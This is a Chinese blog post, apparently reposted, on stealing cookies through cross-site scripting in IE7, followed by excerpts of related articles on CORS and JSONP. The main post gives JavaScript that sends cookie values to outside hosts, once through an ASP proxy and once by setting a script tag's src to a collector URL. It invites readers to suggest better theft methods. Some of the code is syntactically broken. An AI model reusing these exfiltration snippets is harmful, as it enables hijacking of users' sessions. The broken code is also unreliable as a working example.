ie7下利用ajax跨域盗取cookie的解决办法

研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码:

<script> 

function getXmlHttpRequest(){ 

       if(window.ActiveXObject){ 

            var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                 

            for(var i=0;i<ieArr.length;i++) 

                { 

                var xmlhttp= new ActiveXObject(ieArr[i]); 

                } 

                return xmlhttp; 

       } else if(window.XMLHttpRequest){ 

               return new XMLHttpRequest(); 

            }             



    var xmlHttp=getXmlHttpRequest(); 

    xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true); 

    xmlHttp.send(null)

</script>

其中web.asp是一个asp代理。

这样直接访问http://192.168.8.108/a.htm是可以成功发送数据的。但是在跨站中,假如我们要跨192.168.8.108的站,这样来讲肯定不能让我们放一个web.asp在上边的,所以这种办法不可行。

另外,其它的ie7.0下跨站想盗取cookie一般都会用到iframe标签,在没有研究成功ajax发送的情况下,经过搜索发现了另一种跨站的思路,不需要用iframe来跨域提交,代码:

<script LANGUAGE="Javascript" src="" id="get">  

</script>  

<script LANGUAGE="Javascript">  

<!--  

function get(url)  

    {  

        var obj = document.getElementById("get");  

        obj.src = url;  

        (obj.readStatus == 200)  

        {  

            eval(alert("ok"));  

        }  

    }  

get("http://jb51.net/2.asp?cookie=12345678")

/*function query()  

    {  

get("http://jb51.net/web/1.img"); //在这里可以写代码,像把alert("ok")里的ok换成变量,1.img 中的代码是var ok="123" 

    }  

//-->  

*/

</script>

至于有其它更好的办法,在IE7下能直接ajax跨域盗取cookie的欢迎讨论

时间: 2024-10-10 22:42:32

ie7下利用ajax跨域盗取cookie的解决办法的相关文章

ie7下利用ajax跨域盗取cookie的解决办法_AJAX相关

研究了一下午,第一个难题是ajax跨域提交数据,可以用web代理来解决,http://192.168.8.108上的a.htm代码: <script>  function getXmlHttpRequest(){         if(window.ActiveXObject){              var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];                          

Ajax跨域访问Cookie丢失问题的解决方法

ajax跨域访问,可以使用jsonp方法或设置Access-Control-Allow-Origin实现,关于设置Access-Control-Allow-Origin实现跨域访问可以参考之前我写的文章<ajax 设置Access-Control-Allow-Origin实现跨域访问> 1.ajax跨域访问,cookie丢失 首先创建两个测试域名 a.fdipzone.com 作为客户端域名 b.fdipzone.com 作为服务端域名 测试代码 setcookie.PHP 用于设置服务端co

Ajax跨域请求COOKIE无法带上的完美解决办法

1.原生ajax请求方式: 1 var xhr = new XMLHttpRequest(); 2 xhr.open("POST", "http://xxxx.com/demo/b/index.php", true); 3 xhr.withCredentials = true; //支持跨域发送cookies 4 xhr.send(); 2.jquery的ajax的post方法请求: $.ajax({ type: "POST", url: &qu

tomcat 下配置ajax 跨域 访问

CORS介绍    它在维基百科上的定义是:跨域资源共享(CORS )是一种网络浏览器的技术规范,它为Web服务器定义了一种方式,允许网页从不同的域访问其资源.而这种访问是被同源策略所禁止的.CORS系统定义了一种浏览器和服务器交互的方式来确定是否允许跨域请求. 它是一个妥协,有更大的灵活性,但比起简单地允许所有这些的要求来说更加安全.    而W3C的官方文档目前还是工作草案,但是正在朝着W3C推荐的方向前进.    简言之,CORS就是为了让AJAX可以实现可控的跨域访问而生的. Tomca

jquery下利用jsonp跨域访问实现方法_jquery

复制代码 代码如下: $.ajax({ async:false, url: '', // 跨域URL type: 'GET', dataType: 'jsonp', jsonp: 'jsoncallback', //默认callback data: mydata, //请求数据 timeout: 5000, beforeSend: function(){ //jsonp 方式此方法不被触发.原因可能是dataType如果指定为jsonp的话,就已经不是ajax事件了 }, success: fu

总结JavaScript跨域的问题及解决办法

什么是跨域 JavaScript出于安全方面的考虑,不允许跨域调用其他页面的对象.但在安全限制的同时也给注入iframe或是ajax应用上带来了不少麻烦.这里把涉及到跨域的一些问题简单地整理一下: 首先什么是跨域,简单地理解就是因为JavaScript同源策略的限制,a.com 域名下的js无法操作b.com或是c.a.com域名下的对象.更详细的说明可以看下表: URL                           说明         是否允许通信 http://www.a.com/a

IE9 IE8 ajax跨域问题的快速解决方法_AJAX相关

网上解决办法均是 在发起请求之前添加 jQuery.support.cors=true;但是,线下测试,是ok的,一放到服务器上,又出现了新的eroor:readyState: 0, status: 0, statusText: "Error: 拒绝访问... 最后,问题是这样解决的,点击IE浏览器的的"工具->Internet 选项->安全->自定义级别"将"其他"选项中的"通过域访问数据源"选中为"启用&

IE8中ajax 跨域获取html模板解决方法

报错: statusText :"No Transport"   1,只有当浏览器是IE8 时才引入js: Html代码   <!--[if IE 8]>       <script type="text/javascript"               src="http://${static_domain}/chanjet/js/lib/common/jQuery.XDomainRequest.js"></sc

Ajax跨域查询完美解决通过$.getJSON()实现

原因:浏览器安全上做了限制,禁止ajax跨域获得数据. 解决方法:通过jquery提供的$.getJSON()可以跨域获得JSON格式的数据.优点:兼容性强. Java后台代码: 复制代码 代码如下: protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String callback =req.getParameter("cal